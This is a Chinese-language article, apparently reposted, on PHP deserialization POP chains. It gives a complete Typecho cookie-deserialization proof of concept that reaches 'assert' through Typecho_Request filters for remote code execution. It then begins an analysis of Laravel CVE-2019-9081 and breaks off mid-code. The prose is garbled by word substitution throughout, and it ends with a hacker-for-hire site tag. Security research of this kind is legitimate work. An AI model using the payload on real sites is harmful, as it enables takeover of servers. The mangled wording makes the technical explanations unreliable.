接之前的两篇文章:
https://www.tiechemo.com/Article/60/61/2019/93995.htm
https://www.tiechemo.com/Article/60/61/2019/94171.htm
之前别离介绍了php序列化进犯的魔法办法、session序列化引擎以及原生类序列化问题。
本篇文章则主要从实在事例来看序列化的pop链结构。
typecho序列化
这一节就简单说一下结构链,由于之前的文章剖析过,可详见:
https://skysec.top/2019/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/
总结
1.找到下手点__typecho_config:
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
2.寻觅可用类Typecho_Db:
$db = new Typecho_Db($config['adapter'], $config['prefix']);
3.运用Typecho_Feed魔法办法__toString():
$config['adapter'] => new Typecho_Feed()
class Typecho_Feed __toString()
4.运用Typecho_Request魔法办法__get():
$item['author']->screenName
class Typecho_Request __get()
5.运用get()办法,完结运用链:
get() -> _applyFilter() -> call_user_func
poc
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));
laravel序列化
Laravel是一套简练、高雅的PHP Web开发结构(PHP Web Framework),若其自身呈现缝隙,则对运用呼应结构开发的网站影响是丧命的。而这儿就将剖析laravel结构序列化RCE,CVE编号:CVE-2019-9081,受影响规模:laravel >= 5.7。
类名加载
咱们首要随意结构一段序列化:
咱们传入laravel,并进行反序列化,能够看到load办法企图加载咱们随意输入的sky类,首要在$facadeNamespace中寻觅指定类名:
假如找到,则会经过loadFacade进行加载,不然则进入loadClass进行class map查找,在vendor目录下寻觅所需类:
可是并不能找到sky类,最终会return false。
最终检查是否class名以Swift_最初:
最终由于找不到对应类的界说,所以并不能成功进入反序列化流程。
但假如咱们用一个存在的类,能够显着发现在findFile函数的classMap中找到了相关类,并回来进行了include:
风险类发掘
发掘一个结构的新缝隙,从结构新参加的代码下手是一个很好的思路。咱们注意到laravel在5.7之后参加了PendingCommand:
值得注意的是,咱们查到该文件,其界说了PendingCommand类,一起注意到其两个办法:
/**
* Execute the command.
*
* @return int
*/
public function execute()
{
return $this->run();
}
/**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
if ($this->hasExecuted) {
return;[1][2][3][4]黑客接单网